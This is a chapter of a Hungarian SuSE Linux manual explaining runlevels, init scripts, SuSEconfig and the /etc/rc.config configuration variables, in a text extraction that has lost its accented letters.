Ha az X Window rendszer mr megfelel mdon teleptve van, s be lett lo ltva (lsd a 8 . fejezetben (237. oldal)), s azt szeretnnk, hogy a felhasznlk grakus mdban jelentkezzenek be, ehhez egyszer en lehet a futsi szintet a u 458

17.3. A futsi szintek megvltoztatsa 3-as szintre mdostani. El szr rdemes kiprblni, hogy a kvetkez pao o ranccsal:
root@meggyfa:/ > init 3

gy m kdik-e a rendszer, mint ahogy azt elvrjuk. u El fordulhat, hogy egy srlt /etc/inittab llomnnyal a rendszert o nem lehet megfelel en elindtani. Ezrt legyen klnsen vatos amikor a o /etc/inittab fjlt szerkeszti! Vgszksg esetn megprblhatja az init=/bin/sh begpelst a LILO boot promptnl, hogy kzvetlenl a parancsrtelmez vel (shell) induljon be a rendszer (lsd a 21 . fejezetben o (122. oldal)).

17.3

A futsi szintek megvltoztatsa

Rendszerint kt dolog trtnik a futsi szint megvltoztatsa sorn. El szr a o jelenlegi futsi szint n. stop szkript-jei lefutnak, amelyek lezrnak nhny, a jelenlegi futsi szint szmra nlklzhetetlen programot. Ezutn elindulnak az j futsi szint start szkript-jei. ltalban ekkor indul el tbb program. Ennek illusztrlsra bemutatjuk, mi trtnik, ha a futsi szintet a 2-es szintr l o a 3-asra vltoztatjuk: A rendszergazda (root) utastja az init-et a futsi szint megvltoztatsra:
root@meggyfa:/ > init 3

Az init program ekkor belenz a /etc/inittab belltsi fjlba, amib l kiderl, hogy el kell indtania a /sbin/init.d/rc programot, pao ramterknt adva t neki az j futsi szint szmt. Ezutn az rc program elindtja a jelenlegi futsi szint sszes stop szkriptjt, de csak azokat, amelyekhez nincs megfelel start szkript a kivlaszo tott j futsi szinten. A mi pldnkban, ezek azok a szkriptek, amelyek a /etc/init.d/rc2.d fljban vannak (mivel az el z futsi szint a 2o o es volt), s amelyek K bet vel kezd dnek2 . A K bet t kvet szm u o u o adja a szkriptek lellsi sorrendjt, mivel vannak bizonyos fgg sgek, o amelyeket gyelembe kell venni. Az utols teend az j futsi szint start szkriptjeinek elindtsa. Ezek plo dnkban a /etc/init.d/rc3.d fjlban tallhatk, s S bet vel u kezd dnek. Ezek indtsi sorrendjre is ugyanaz vonatkozik, mint feno tebb. Ha a futsi szintet ugyanarra vltoztatjuk, amiben a rendszer eddig is volt, akkor az init csak a /etc/inittab-ot ellen rzi (hogy trtnt-e benne valami o vltoztats), majd elindtja a megfelel lpseket (pl. elindt egy getty-t egy o msik interfszen).

A stop szkriptek nevei mindig K-val, a start szkriptek pedig mindig S-sel kezd dnek. o

459

17. A SuSE Linux boot koncepcija

17.4

Inicializl szkriptek

A /etc/init.d knyvtrban tallhat szkriptek a kvetkez kt nagy csoo portra oszthatk: azon szkriptek, melyeket kzvetlenl az init indt el. Ezek csak a rendszer azonnali elindtsa s lezrsa sorn fognak lefutni (pldul egy ramki marads, vagy a Ctrl + Alt + Del megnyomsa utn). azon szkriptek, amelyeket az init kzvetett mdon indt el. Ez a futsi szint megvltoztatsa sorn trtnik. Rendszerint a /etc/init.d/rc program indul el ekkor, amely garantlja, hogy az idevg szkriptek a megfelel o sorrendben fognak lefutni. Minden szkript a /etc/init.d knyvtrban tallhat. A futsi szint megvltoztatsa sorn hasznlt szkriptek is itt tallhatak, de azok szimblikus hivatkozsokon keresztl hvdnak meg a /etc/init.d/rc0.d-t l o /sbin/init.d/rc6.d-ig terjed alknyvtrak valamelyikb l. Ez puszo o tn a dupliklt szkriptek elkerlse (pl. amikor tbb futsi szint is hasznlja ugyanazt a szkriptet), s a knnyebb rthet sg miatt van gy. Mivel minden o szkriptet start s stop szkriptknt is el lehet indtani, ezrt ezeknek a szkripteknek rtelmeznik kell a "start" s "stop" paramtereket. Plda /etc/init.d/rc2.d/K40network A 2-es futsi szint elhagysa sorn ez egyike azon szkripteknek, amely elindul. Ennek eredmnyeknt a /etc/init.d/rc elindtja a /etc/init.d/network szkriptet "stop" paramterrel. A 3-as futsi szintre lps sorn ugyanez a szkript indul el, csak a "stop" helyett a "start" paramterrel. A futsi szintek meghatrozott alknyvtraiban tallhat hivatkozsok (linkek) a szkripteket egyszer en az adott futsi szintekhez utaljk ki. u Boot s lezrs A kvetkez kben rviden bemutatjuk az els knt (avagy rtelemszer en o o u legutljra) elindtott boot s stop szkripteket, valamint megmagyarzzuk a karbantart szkriptet. boot A rendszer indtsa sorn kzvetlenl hajtdik vgre az init programon keresztl. Ez a szkript fggetlen a kivlasztott futsi szintt l, s csak o egyszer indul el. Futsa sorn ellen rzi a fjlrendszereket, elindtja a o kernel dmont, letrli a /var/lock felesleges fjljait, s a hlzatot belltja a visszacsatol eszkzre (ha az ki van vlasztva a /etc/rc.config-ban). Tovbb belltja a rendszerrt, s indul helyzetbe hozza a Plug-and-Play (automatikusan felismert s teleptett) hardveregysgeket az isapnp segdprogram segtsgvel. Ha a fjlrendszer automatikus ellen rzse s javtsa sorn hiba trtnik, o a rendszeradminisztrtor a jelsz megadsa utn avatkozhat be. A szkripthez a /etc/init.d/boot.d knyvtr van rendelve. Minden itt tallhat szkript el fog indulni a rendszer elindulsa (bootolsa) 460

17.5. A /etc/rc.config s a /sbin/SuSEcong sorn. Ide lehet tenni azokat a sajt szkripteket is, amelyeknek csak egyszer kell lefutnia. A boot.local szkript legutolsknt fut le. boot.local Ebben lehet olyan parancsokat megadni, amelyeknek a rendszer indulsa sorn, de mg egy futsi szintre val belps el tt kell lefutniuk. Szerepe o hasonl, mint az AUTOEXEC.BAT fjlnak DOS rendszereken. boot.setup E szkript feladata azon ltalnos belltsok elvgzse, amiket az egyfelhasznls md-bl ms futsi szintre vlts sorn kell megcsinlni. Ekkor tlt dik be a billenty zet-kioszts, s ekkor indul el a kernel do u mon, amely automatikusan betlti a modulokat. halt Ez a szkript csak a 0-s vagy a 6-os futsi szintekre val vlts sorn indul el. Vagy halt, vagy reboot programknt fut le. A halt program lefutstl fgg, hogy a rendszer jraindul, avagy lell. rc E szkriptnek a futsi szintek megvltoztatsa sorn van klnsen nagy jelent sge. Ez hvja meg az aktulis futsi szint stop szkriptjeit, s az o jonnan kivlasztott futsi szint start szkriptjeit. Sajt szkripteket nagyon knnyen lehet hozzadani ehhez a vzhoz. Szkriptek A /etc/init.d/skeleton fjl sablont szolgltat ehhez. Ajn- ksztse latos hozzadni egy <START_> vltozt ehhez a szkripthez, hogy a /etc/rc.config fjlban rvnyess vljon a szkript. Tovbbi paramtereket csak akkor adjunk hozz, ha igazn szksges (pldnak lsd a /etc/init.d/gpm szkriptet). Ezutn bele kell rni a hivatkozsokat a megfelel rc?.d fjlba, hogy a o szkript valban el is induljon a futsi szint megvltoztatsa sorn (a szkript fjlok neveit, stb. lsd fentebb, a 17.3 . fejezetben (459. oldal)). A man 7 init.d parancs nyjt ehhez technikai magyarzatot. Kezeljk ezeket a szkripteket a lehet legnagyobb vatossgal! Egy hibs o szkript lefagyaszthatja gpnket! Ha mr semmi ms nem segt, lsd a 17.2 . fejezetben (458. oldal). . .

17.5

A /etc/rc.config s a /sbin/SuSEcong

Gyakorlatilag az egsz SuSE Linux belltsa elvgezhet a o /etc/rc.config nev kzponti kongurcis fjl hasznlatval. Ez ju pr krnyezeti vltoz llt be, melyeket - tbbek kztt - az init szkriptek ellen riznek. A /etc/init.d knyvtrban tallhat szkriptek mindegyike o els lpsknt a /etc/rc.config-ot indtja el, hogy kiolvassk bel le o o azon vltozk rtkeit, melyek rjuk vonatkoznak. 461

17. A SuSE Linux boot koncepcija A SuSE Linux 6.0 verzijtl kezdve azok a csomagok, amelyek terjedelmes belltsi lehet sgekkel rendelkeznek, sajt vltozikat kln fjloko ban troljk a /etc/rc.config.d knyvtrban. Ez a helyzet pldul a sendmail s az i4l (ISDN) csomagokkal is. Azonban az egyszer sg kedvrt mi csak a /etc/rc.config-rl fou gunk beszlni, mgha mshol is troldik ez a fjl! Ezenfell nagy szm belltsi fjlt lehet kszteni a /etc/rc.configbl. Ez a /sbin/SuSEcong feladata. Ha pldul megvltoztatjuk a hlzati belltsokat, a /etc/resolv.conf fjl jra elkszl, mivel ez az ltalunk megadott belltsoktl fgg. gy ha sajt magunk vltoztatjuk meg a /etc/rc.config-ot, akkor ezt kvet en el kell indtanunk a /sbin/SuSEcong-ot, annak biztostsra, hogy o minden belltsi fjl a megfelel belltsokat tartalmazza a megfelel heo o lyen. Ha a belltst a YaST tal vltoztatjuk meg, erre nincs szksg, ugyanis a YaST automatikusan elindtja a /sbin/SuSEcong-ot s frissti a belltsi fjlokat. Ez a koncepci kpess tesz minket arra, hogy alapvet belltsokat a rendo szer jraindtsa nlkl is meg tudjunk vltoztatni. Mivel nhny vltoztats nagyon bonyolult, egyes programokat valszn leg jra kell indtani ahhoz, u hogy a belltsok rvnyesljenek rajtuk. Ezt az eljrst rszletesebben is taglaljuk a hlzati belltsokrl szl fejezetben (lsd az 5.2 . fejezetben (158. oldal)), ahol ezeket a programokat a kvetkez parancsokkal indtjuk o jra:
root@meggyfa:/ > /etc/init.d/network stop root@meggyfa:/ > /etc/init.d/network start

Amint lthat, a start s stop szkripteket knnyedn el tudjuk magunk is indtani. A rendszer belltshoz a kvetkez lpsek megttelt javasoljuk: o Kldjk a rendszert egyfelhasznls zemmd-ba:
root@meggyfa:/ > init S

Alternatv mdon az 1-es futsi szintet is kivlaszthatjuk. Ekkor megvan a lehet sg tbb konzolon val bejelentkezsre is: o
root@meggyfa:/ > init 1

Szksg szerint vltoztassuk meg a /etc/rc.config belltsi fjlt. Ezt egy tetszs szerint kivlaszott szerkeszt vel lehet megcsinlni, vagy o a YaST -tal a A konfigurcis llomny mdostsa menponton keresztl (lsd mg a 17.6 fejezetet). Indtsuk el a /sbin/SuSEcong-ot, hogy rvnyesljenek a belltsok. Ha a /etc/rc.cong-ot YaST -tal vltoztattuk meg, ez a lps automatikusan vgrehajtdik. Kldjk vissza rendszernket az eredeti futsi szintre:
root@meggyfa:/ > init 2

Ez az eljrs f knt akkor szksges, amikor az egsz rendszerre kihat (plo dul a hlzati) belltsokat vltoztatunk meg. A kisebb vltoztatsokhoz 462

17.6. A /etc/rc.config vltozi Rendszerbellts nem szksges egyfelhasznls zemmd-ba lpni, de segtsgvel biztostjuk, hogy minden szksges program megfelel mdon jraindul. o A SuSEcong automatikus belltsnak kategorikus kikapcsolshoz az <ENABLE_SUSECONFIG> vltozt kell belltani yes-re, a /etc/ rc.config-ban (lsd a 17.6 fejezetet). Bizonyos rc.config vltozk kivlasztsval rszlegesen is ki lehet kapcsolni az automatikus belltst.

17.6

A /etc/rc.config vltozi Rendszerbellts

Ebben a rszben a rendszer sszes paramtert lerjuk, belertve az alaprtelmezseiket is. Ha nem a YaST -ot hasznljuk a /etc/rc.config megvltoztatsra, ne felejtsk el az "res" paramtereket kt idz jellel megadni o (pl. KEYTABLE="") s azon paramtereket, melyek legalbb egy szkzt tartalmaznak, idz jelek kz zrni (a csupn egy szt tartalmaz paramo tereknl az idz jelek hasznlata nem ktelez ). A kvetkez kben minden o o o paramterhez rendelnk rtket, hogy vilgosabb legyen a hasznlat: ENABLE_SUSECONFIG=no Ezzel a vltozval szksg esetn teljesen ki lehet kapcsolni a SuSEcongot. Krjk, ne hvja a Teleptsi Gyorsseglyt, ha problmi akadnak a rendszer teleptsvel a SuSEcong kikapcsolsa utn... ;-) MAIL_REPORTS_TO=jancsi A SuSEcong a YaST s az alkalmazott csomagok ltal ksztett jelentseket el tudja kldeni email-ben is. Itt lehet megadni, mely cmre kldje oket. Ha nincs szksgnk erre, akkor cm helyett hagyjuk resen: "". GMT=-u Ha a hardverra a GMT (Greenwich Mean Time) id zna idejt tartalo mazza, e vltoznak az rtke -u legyen3 . Egyb esetekben legyen res. Ez a vltoz a nyri s tli id szmtsok kztti tvltshoz szksges. o TIMEZONE=Europe/Budapest Az id zna. A vltoz a nyri s tli id szmtsok kztti tvltshoz o o szksges. DEFAULT LANGUAGE="hungarian" Ezt a vltozt a YaST lltja be, ha a Nyelv kivlasztsa menben valamit megvltoztatunk (lsd mg a 3.3.1 . fejezetben (85. oldal)). Ez a vltoz akkor is rvnyesl, amikor a LANG s LC_* vltozk nincsenek megadva. Ezen esetben az itt megadott rtk az /usr/share/locale/locale.alias fjlon keresztl van visszafejtve. RC_LANG="hu_HU" Belltja a LANG krnyezeti vltozt a locale programnak. Segtsgvel a helyi felhasznlk alaprtelmezsei lltdnak be. Ez az rtk addig marad rvnyben, amg nincs megadva egy klnleges RC_LC_* vltoz sem. A szabvnyos rc.config vltozk: RC_LC_ALL (ennek segtsgvel az LC_* s LANG vltozk fellrhatk!), RC_LC_MESSAGES,
3

A -u az univerzlis id rvidtse. o

463

17. A SuSE Linux boot koncepcija RC_LC_CTYPE, RC_LC_MONETARY, RC_LC_NUMERIC, RC_LC_TIME s RC_LC_COLLATE. Lsd mg man 5 locale. ROOT_USES_LANG="no" Hasznlja-e a rendszer a local belltsait a root felhasznlhoz is? INIT_SCRIPT_USE_LANG="no" Hasznljuk-e a locale-t az init szkriptben is? Taln inkbb ne ;-) Helyi hardverek (billentyuzet, modem, egr, PCMCIA, stb.) belltsai KEYTABLE=hu.map.gz A billenty zettrkp meghatrozsa. u KBD_NUMLOCK=no NumLock ki/be. KBD_CAPSLOCK=no CapsLock ki/be. KBD_TTY="tty1 tty2 tty3 tty4 tty5 tty6" A NumLock s CapsLock billenty ket lehet adott TTY-okra korltozni u ezzel. A "" minden TTY-ra engedlyezi oket. KBD_RATE=30 Az automatikus billenty ismtls gyakorisgt adja meg. A lehetsges ru tkek sklja: msodpercenknt ktszer, msodpercenknt harmincszor, vagy brmilyen rtk e kett kztt. Ez a vltoz csak akkor lp letbe, o ha a billenty zet-ksleltetst is be lltottuk. u KBD_DELAY=250 Az itt megadott ksleltets utn fog elkezd dni a nyomvatartott billenty o u automatikus ismtlse. Ezt az rtket ezredmsodpercben kell megadni, br annyira nem precz. Belltsa utn a KBD_RATE vltoz rtkt is be kell lltani. CONSOLE_FONT=lat2a-16.psfu.gz Ezzel adjuk meg a konzol ltal hasznlt karakterkszletet. Figyelem! Nem minden karakterkszlet tmogatja a magyar kezeteket! A YaST ban egy kis ablakban ki lehet prblni a karakterkszleteket, majd ki lehet vlasztani azt, amelyik a legjobban tetszik. Tovbbi belltsi lehet sgek: CONSOLE_SCREENMAP, CONSOLE_UNICODEMAP s o CONSOLE_MAGIC MODEM=/dev/ttyS1 Itt adhatjuk meg, hogy melyik csatolra van a modem ktve. A YaST s a SuSEcong egy hivatkozst (linket) kszt a /dev/modem-r l az adott o csatolra. MOUSE=/dev/ttyS2 Itt adhatjuk meg, hogy melyik csatolra van az egr ktve. A YaST s a SuSEcong egy hivatkozst (linket) kszt a /dev/mouse-rl az adott csatolra. START_GPM=yes A yes rtk hasznlata utn m kdik az egr tmogatsa konzolon. Seu gtsgvel lehetsges az egrrel szveget msolni egyik konzolbl a msikba. A gpm hasznlata problmkat okozhat egyes buszos egerekkel. 464

17.6. A /etc/rc.config vltozi Rendszerbellts Ha az X elindtsa utn problmkba tkznk, akkor rdemes kikapcsolni a gpm-et. Lehet sg van arra, hogy helyette az xdm-et indtjuk el, o mivel a gpm nem fut a 3-as futsi szinten. GPM_PARAM=" -t logi -m /dev/mouse" A gpm belltsi adatai. Normlis esetben a YaST -on keresztl trtnik ezen rtk belltsa. PCMCIA=i82365 Itt kell megadni a PCMCIA chip-kszletet. A lehetsges rtkek: i82365 s tcic. Ha a vltoz rtke "", akkor a PCMCIA alrendszer nem indul el. Pontosabb belltsokat a PCMCIA_PCIC_OPTS s PCMCIA_CORE_OPTS vltozkkal lehet elrni. START_ISAPNP=yes Elinduljon-e az ISA PnP eszkzk rzkelse s belltsa bootolskor. INITRD_MODULES="aic7xxx" Azon modulok nevei, amelyeknek a kernel bootolsa sorn kell betlt do nik, pld. a merevlemezes meghajt, vagy a hangkrtya elrshez. Hasznos avagy szksges bejegyzseket a telepts vagy egy frissts sorn is meg lehet adni. Lsd mg a 16.3 . fejezetben (439. oldal). START_KERNELD=yes Ez a vltoz hatrozza meg, hogy a kernel dmon elinduljon-e automatikusan a rendszer indtsakor. Ez a dmon felel s a kernel modulok szko sg szerinti automatikus betltsrt. A jelenlegi szabvnyos 2.2.xx kernelhez a kerneld mr nem szksges. A modulok koncepcijrl s a kerneld tevkenysgeir l b vebben a 13.2 . fejezetben (377. oldal) o o olvashatunk.

A helyi hlzat s egyb szolgltatsok elindtsa s belltsa START_LOOPBACK=yes Egyfajta "mini" hlzatot indt el a loopback eszkz belltsval. Mivel sok program fgg ennek a m kdst l, ajnlatos a bekapcsolsa4 . u o CHECK_ETC_HOSTS=yes Vgrehajthat-e a SuSEcong mdostsokat s ellen rzseket a o /etc/hosts fjlon. BEAUTIFY_ETC_HOSTS=no Szksges-e a /etc/hosts tartalmnak ABC sorba rendezse. SETUPDUMMYDEV=no Ez hatrozza meg, hogy elinduljon-e egy "buta" hlzati eszkz. Ez az lland kapcsolattal nem rendelkez hlzatoknl (pl. SLIP vagy PPP) o hasznos. Ethernet krtya meglte esetn id nknt bajokat okozhat. o CREATE_HOSTCONF=yes Vgrehajthat-e a SuSEcong nhny mdostst s ellen rzst a o /etc/host.conf fjlon. CREATE_RESOLVCONF=yes A SuSEcong karban tudja tartani a /etc/resolv.conf fjlt. Ha a vltoz rtke yes s a SEARCHLIST vagy a NAMESERVER res, akkor
4

Ahhoz, hogy ez m kdjn, a kernelnek beptett hlzati tmogatst kell tartalmaznia. u

465

17. A SuSE Linux boot koncepcija ez azt jelenti, hogy DNS-re nincs szksg s a /etc/resolv.conf le lesz trlve, no rtk esetn a /etc/resolv.conf rintetlen marad. NETCONFIG=_0 Ez adja meg, hogy hny hlzati krtya (vagy egyb hlzati eszkz) van teleptve. A pldban egy hlzati krtya van megadva (mivel nullval kezd dik a szmozsuk). Egy olyan rendszerben, amelyben kt krtya o van, ez a vltoz gy nz ki: NETCONFIG="_0_1". Hlzattal nem rendelkez rendszerben ne lltsuk be ezt a vltozt. o IPADDR_0=193.141.17.202 Az els hlzati krtya IP cme. o NETDEV_0=eth0 Az els hlzati eszkz neve (ami normlis esetben egy Ethernet kro tya), ezrt az rtk a fenti pldban eth0. Egyb lehetsges rtkek: str1 vagy plip1. Ha tbb krtya van teleptve a rendszerben, a tovbbi krtyk neveit a NETDEV_1-t l NETDEV_3-ig terjed vltozkban kell o o megadnunk. IFCONFIG_0="193.141.17.205 broadcast 193.141.17.255 netmask 255.255.255.192" Az els hlzati krtya belltsi adatai. Ezeket a belltsokat knnyen o meg lehet adni a YaST -tal. Ha tbb krtya van teleptve, a belltsokat a megfelel sorszm vltozban adjuk meg. o CLOSE_CONNECTIONS=false Ha ezen vltoz rtke true s a rendszer a 0-tl 6-ig terjed "runlevel"o ek (futsi szintek) valamelyikn fut, a /sbin/init.d/route program SIGTERM jelet kld minden folyamatnak, amelyik egy nyitott "remote tcp" vagy "udp" kapcsolatot hasznl. IP_DYNIP=no A "dynamic IP patch" (dinamikus IP) bekapcsolsa rendszerindtskor. Ha az rtk yes, a /sbin/init.d/boot szkript bekapcsolja ezt a funkcit a /proc fjlrendszeren. IP_TCP_SYNCOOKIES=yes A "syn ood protection" (syn elnts elleni vdekezs) bekapcsolsa. IP_FORWARD=no Ha azt akarjuk, hogy a gp csomagtovbbtst vgezzen kt hlzati krtya kztt, akkor az IP_FORWARD rtkt lltsuk be yes-re. Normlis esetben a "router"-nek vagy a "masquerading"-nak erre vagy szksge van, vagy j, ha be van lltva. A /sbin/init.d/boot szkript az "IP forwarding"-ot (csomagtovbbtst) a /proc fjlrendszerbe tett bejegyzssel kapcsolja be. FQHOSTNAME=meggyfa.liget A gpnk teljes rtk hlzati neve (hostname). A teljes rtk azt a u u teljes nevet jelenti, ami a szmtgp s a domain nevt is tartalmazza. SEARCHLIST=liget Ez a vltoz egy nem teljes rtk hlzati nv kiegsztsnl hasznu latos. Ha pldul az eperfa nevet adjuk meg, a gp el szr ellen rzi, o o hogy az eperfa.liget cm rvnyes-e. Ezt a vltozt be kell lltanunk, ha tervezzk a DNS hasznlatt! rtkeknt legalbb sajt domain

466

17.6. A /etc/rc.config vltozi Rendszerbellts cmnket adjuk meg. Legfeljebb hrom bejegyzst tartalmazhat, amelyeket szkzkkel kell elvlasztani egymstl. NAMESERVER=193.141.17.193 Annak a nvkiszolglnak a cme, amelyhez akkor kell fordulni, amikor egy adott hlzati nevet IP cmm kell talaktani. Legfeljebb hrom nvkiszolgl cmt adhatjuk meg itt, melyeket szkzkkel kell elvlasztani egymstl. Ezt a vltozt be kell lltani, ha tervezzk egy nvkiszolgl hasznlatt! ORGANIZATION="Gladstone Ganter Inc." Ez a szveg jelenik meg minden kikldtt hrlevlben. NNTPSERVER=atlantisz A hrkiszolglnk cme. Ha a hreket UUCP-n keresztl kapjuk s helyileg vannak elmentve, akkor ennek a vltoznak az rtke localhost legyen. IRCSERVER=atlantisz Az IRC (Internet Relay Chat, Interneten sugrzott csevegs) szervereinek neve. A szerverneveket szkzkkel kell elvlasztani egymstl. START_INETD=yes E vltoz hatrozza meg, hogy az inetd szuperdmon elinduljon-e avagy sem. Ez a dmon reagl a ms gpekr l rkez hvsokra s indtja az o o adott hlzati port szmnak megfelel szolgltatst. Belltsra szksg o van, ha telnet-tel vagy rlogin-nal akarunk bejelentkezni. Ha az xinetd -t akarjuk hasznlni helyette, akkor e vltoz rtke no legyen. START_XINETD=no Ez adja meg, hogy az xinetd szuperdmon elinduljon-e vagy sem (ez az inetd fejlettebb vltozata). Ha ezt a dmont akarjuk hasznlni, akkor a START_INETD rtke no legyen. SENDMAIL_xxxx= A sendmail program vltozit a 37 . fejezetben (203. oldal) trgyaljuk. START_POSTFIX=no Elindtja a postx levelez szervert. A kapcsold vltozk a kvetkez k: o o POSTFIX_CREATECF, POSTFIX_RELAYHOST, POSTFIX_MASQUERADE_DOMAIN s POSTFIX_LOCALDOMAINS. SMTP=no rtke yes legyen, ha azt akarjuk, hogy a sendmail (levlkld ) dmon o elinduljon. Ha kizrlag UUCP-n keresztl kapjuk leveleinket, akkor erre nincs szksg, feltve hogy minden lehvs utn elindtjuk a sendmail -q programot (az UUCP ltal elindtott rmail csak a vrakozsorba teszi a leveleket, de nem kzbesti oket). Ha a leveleket gy jt alknyvtrak u o NFS-en keresztl vannak csatolva (pldul egy hlzaton, s az egyedli gazdagpen csak elkldend levelek vannak, akkor is lehet no az rtke o ennek a vltoznak. Ugyanez vonatkozik az n. tovbbt gazdagpekre (relay hosts) is. START_PORTMAP=no Meghatrozza, hogy elinduljon-e a portkioszt (portmapper). A portkiosztra akkor van szksg, ha gazdagpnket NFS kiszolglknt tervezzk hasznlni (lsd az 5.5 . fejezetben (169. oldal)). E dmon nlkl 467

17. A SuSE Linux boot koncepcija az rpc.mountd s rpc.nfsd nem tud vgrehajtdni. Ezrt van az, hogy a portkioszt akkkor is elindul, amikor ennek a vltoznak az rtke no, de az NFS_SERVER be van kapcsolva! A NIS-nek is szksge van a portkiosztra (lsd az 5.5 . fejezetben (169. oldal)). NFS_SERVER=no Ha a gazdagpet NFS kiszolglknt akarjuk hasznlni, akkor ezen vltoz rtke yes legyen. Ez lltja be az rpc.nfsd s rpc.mountd programokat. Az NFS kiszolgl belltsairl az 5.5 . fejezetben (169. oldal) olvashatunk b vebb informcikat. o REEXPORT_NFS=no Ha azt akarjuk, hogy a csatolt NFS knyvtrak s a NetWare ktetek jra exportldjanak, legyen e vltoz rtke yes. NFS_SERVER_UGID=yes Meghatrozza, hogy a felhasznli-, s csoportazonostk talaktsra hasznlt rcp.ugidd dmon elinduljon-e. Ennek a vltoznak az rtkt csak akkor veszi gyelembe a rendszer, ha az <NFS_SERVER> rtke yes. USE_KERNEL_NFSD="no" Ha a knfsd csomag teleptve van, lehet sg van kernelalap NFS do mont is hasznlni. Ezzel az NFS dmonnal lehetsgess vlik fjlok lezrsa (locking). Lsd mg az ehhez kapcsold USE_KERNEL_NFSD_NUMBER vltozt. START_AMD=no Az automatikus eszkzcsatol (automounter) elindtsa. Ha erre nincs szksg, akkor lehet az autofs kernel modult hasznlni. Ebben az esetben a START_AUTOFS vltoz rtke yes legyen. START_AUTOFS=no Ezzel a dmonnal lehet automatikusan csatlakoztatni helyi eszkzket (pldul CD-ROM, oppy s egyb meghajtk), vagy az NFS segtsgvel. Ehhez azonban fel kell telepteni s be kell lltani az autofs csomagot az n kszletb l. o START_RWHOD=no Ez hatrozza meg, hogy elindul-e az rwhod vagy sem. Figyelem: az rwhod rendszeresen kld szt "Broadcast" (kisugrzott) zeneteket. Ha gyakran hasznlunk szksg szerint indtott hlzati kapcsolatokat (ISDN s/vagy diald esetn), akkor ennek hasznlata elindthat egy ilyen kapcsolatot, megnvelve ezzel a hlzati forgalmat s kltsgeinket! START_ROUTED=no A route dmon hasznlata csak dinamikus tvonalak (route-ok) esetn szksges (lsd man routed). Figyelem: ez a szolgltats minden 30. msodpercben ltrehoz egy kapcsolatot. Ha a gpnk szksg szerinti telefonhvssal van az Internetre csatlakoztatva (pldul ISDN esetn), akkor semmi rtelme ennek a vltoznak yes rtket adni. START_NSCD=yes Az NSCD "Name Service Caching Daemon" nvkiszolgl gyorsttr dmon elindtsa rendszerindtskor.

468

17.6. A /etc/rc.config vltozi Rendszerbellts START_NAMED=no Ez hatrozza meg, hogy a nv-dmon elinduljon-e. CREATE_YP_CONF=yes Ennek rtke legyen yes, ha azt akarjuk, hogy a SuSEcong hozza ltre az YP-hez szksges fjlokat. Ez a kvetkez kt bejegyzst l is fgg ( o o rszletekrt lsd az 5.4 . fejezetben (168. oldal)). A SuSEcong szksg szerint mdostsokat vgez mg a /etc/passwd s a /etc/group fjlokon is. YP_DOMAINNAME=liget A hlzati gpek YP domain nevei. Rszletesebb informcik az 5.4 . fejezetben (168. oldal) tallhatk. YP_SERVER=atlantisz.liget A NIS kiszolgl neve. USE_NIS_FOR_RESOLVING=no Hasznlja-e a rendszer az NIS-t a hlzati nevek kifejtsre. START_CIPED=no A CIPE dmon elindtsa egy IPIP csatornhoz. START_DHCPD=no Elindtja a DHCP-t (Dynamic Host Conguration Protocol, dinamikus hlzati gp belltsi protokoll). Ehhez mg a DHCPD_INTERFACE, START_DHCRELAY s DHCRELAY_SERVERS vltozk is szksgesek. START_LDAP=no Az LDAP kiszolgl elindtsa. START_RADIUSD=yes A radius hozzfrsi jog s hitelest kiszolgls elindtsa. Ezt a szolo gltatst hasznlja pr ISP a felhasznlik azonostsa rdekben. Lsd a /usr/share/doc/packages/radiusd helyen tallhat dokumentcit. START_LPD=yes Az lpd ("sornyomtat") dmon elindtsa. ltalban nyomtatshoz szksges. START_NNTPD=yes Az nntpd elindtsa, ha el akarunk rni hreket egy NNTP kiszolgln keresztl. START_INN=no Az INN hrkiszolgl elindtsa. START_ATD=yes Meghatrozza, hogy elinduljon-e az AT dmon. E dmon segtsgvel tudunk megadott id pontban feladatokat elvgezni. Ezek a cron dmonnal o ellenttben csak egyszer hajtdnak vgre. START_HTTPD=yes Meghatrozza, hogy elinduljon-e az Apache http dmon. START_HTTPSD=yes Meghatrozza, hogy az Apache httpsd ("biztonsgos" weblap-kiszolgl) az SSL vagy a PHP3 titkostst hasznlja-e. START_SQUID=no Meghatrozza, hogy a squid proxy kiszolgl elinduljon-e. 469

17. A SuSE Linux boot koncepcija DOC_HOST="" Ha hasznlni akarjuk a kzponti dokumentcis kiszolglt, amely a SuSE sgrendszert tartalmazza, akkor itt kell megadni a kiszolgl gp nevt, pl. "atlantisz.liget " . DOC_SERVER=no A dokumentcis kiszolgln ez az rtk yes legyen. A DOC_ALLOW vltoz lltja be a hozzfrst a http-rman-hoz. A http kiszolglhoz szksges indexfjlok trendezsen mentek keresztl: ajnlatos a http://hostname-f hasznlata a http://localhost helyett. DOC_ALLOW="LOCAL" Azon gpek listja (keressi sablont szolgltatva a /etc/hosts.allow fjlnak), amelyek engedlyt kaphatnak a dokumentcis kiszolgl elrshez. Ezt a vltozt nem lehet megvltoztatni, ha a DOC_SERVER rtke yes. Itt egy al-domain-t is meg lehet adni (pl. ".liget "). HTTP_PROXY="" Nhny program (pl. a lynx, arena, vagy a wget) proxy kiszolglt fog hasznlni, ha ez a krnyezeti vltoz be van lltva. A SuSEcong maga is bellthatja ezt itt: /etc/SuSEconfig/* (lsd http://www.suse.de/sdb/en/html/lynx_proxy.html). Plda: "http://proxy.provider.de:3128/" FTP_PROXY="" Az ftp proxy megadsa. Plda: "http://proxy.provider.de:3128/" GOPHER_PROXY="" A gopher proxy megadsa. Plda: "http://proxy.provider.de:3128/" NO_PROXY="" Ezzel lehet (al-)domaineket kizrni a proxybl. Plda: "www.me.de, do.main, localhost" START_HYLAFAX=yes Bekapcsolja a Hylafaxot. Miel tt ezt a vltozt yes-re lltjuk, el kell o indtani a faxsetup programot! START_SMB=no A samba kiszolgl elindtsa. Ez a program fjl-, s nyomtatkiszolgl az MS-Windows opercis rendszerekhez. START_MARSNWE=no Bekapcsolja a Novell kiszolgl emulcit. START_SSHD=yes A "Secure Shell Dmon" (biztonsgos burokdmon) elindtsa. Elindtsa el tt gy z djnk meg arrl, hogy a "host key" (hlzati gp kulcsa) lteo o o zik lsd a /usr/share/doc/packages/ssh alknyvtrban megtallhat dokumentcit, illetve az ide vonatkoz kziknyvlapokat. START_XNTPD=yes Ez hatrozza meg, hogy elindul-e a "Network Time Protocol" (NTP, hlzati id protokoll) dmon (az xntp csomag). Belltsa a o 470

